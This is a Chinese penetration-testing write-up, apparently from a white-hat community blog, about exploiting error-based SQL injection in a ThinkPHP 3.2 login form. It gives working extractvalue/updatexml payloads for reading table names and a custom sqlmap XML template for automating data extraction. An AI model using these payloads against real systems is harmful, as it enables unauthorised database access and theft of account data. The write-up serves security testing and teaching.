01
登录框存在sql注入:
通过前期的信息搜集,发现站点使用thinkphp3.2版本的框架,在登录页面验证存在sql注入:
成功读取到数据库版本:
02
尝试通过手工注入获取后台账户
遗憾的是sqlmap连注入都识别不出:
--proxy=http://127.0.0.1:8080,将sqlmap的流量转发到burp分析payload,发现sqlmap发出的包多加了一个AND:
换手工注入:
查表名payload:extractvalue(1,concat(0x7e,(select group_concat(table_name)
from information_schema.tables where table_schema=database()),0x7e),1)
查列名payload:extractvalue(1,concat(0x7e,(select group_concat(column_name) form
information_schema.columns where table_name='xxx'),0x7e),1) ,结果报错了:
分析原因:报错注入的错误信息最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位。查表名时,db_addo后面还有数据,所以db_addo这个表名是不全的。
limit分页:password=admin&username[0]=exp&username[1]==updatexml(1,concat(0x7e,(select
table_name from information_schema.tables where table_schema='xxx' limit 3,1),0x7e),1)
//limit 3,1 读取第四条数据,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。
批量获取表名数据:
03
尝试更换sqlmap的payload全程自动化读取
理清sqlmap指定报错注入时获取数据的流程,三个重要标签:
payload>,vector,<grep>
1、首先获取payload标签的内容,这个标签也是我们可以控制的标签,这个标签就是用来判断是否有注入点,一般我们手动测到有报错注入的注入点的时候,就可以把payload放在这里
2、 接着对payload里面的[]中的标志位换成随机的字符或数字
3、然后对payload进行url编码,同时设置请求头,包括referer,host等信息
4、请求后返回获取的页面,然后将返回的页面和<grep>中的内容继续宁正则匹配,匹配后,如果返回值不为1,那么就会继续循环测试其它的payload。如果正则匹配返回值为1,那么,表示存在注入,此时就会进行其他数据的查询
5、返回值是1,接着就会调用vector,调用注入模板,将([query]),换为其它的payload,获取我们想要的信息。
添加payload。sqlmap的payload在sqlmap/xml/payloads目录下(新版本在data/xml/payloads下),关键是文件夹里的六个对应不同注入类型的配置文件和boundaries.xml文件。找到对应xml文件:
替换vector和payload标签中对应的值,标题、level、risk自定义即可,一个完整的模板以<test>,已</test>结束,这样得出适用于此场景的注入模板:
<test>
<title>Customed By Kevil (EXTRACTVALUE)</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>EXTRACTVALUE([RANDNUM],CONCAT('','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
<request>
<payload>EXTRACTVALUE([RANDNUM],CONCAT('','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>>= 5.1</dbms_version>
</details>
</test>
04
测试效果
由于sqlmap自带的payload并不适用于所有测试场景,很多时候手工验证或者其他工具(xray)扫描出来的sql注入,sqlmap都无法识别出注入,此时自定义sqlmap的payload就更方便读取大批量数据。
火线Zone社区火热上线啦!↓点击下方了解一下吧
【火线短视频精选】
用了这么多云服务,你的云服务到底安全吗?↓↓↓点击本期视频了解一下吧
【周度激励】
【相关精选文章】
火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火线小助手]加入。
我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!
欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!
本文始发于微信公众号(火线Zone):某次报错注入到自定义sqlmap的payload全过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论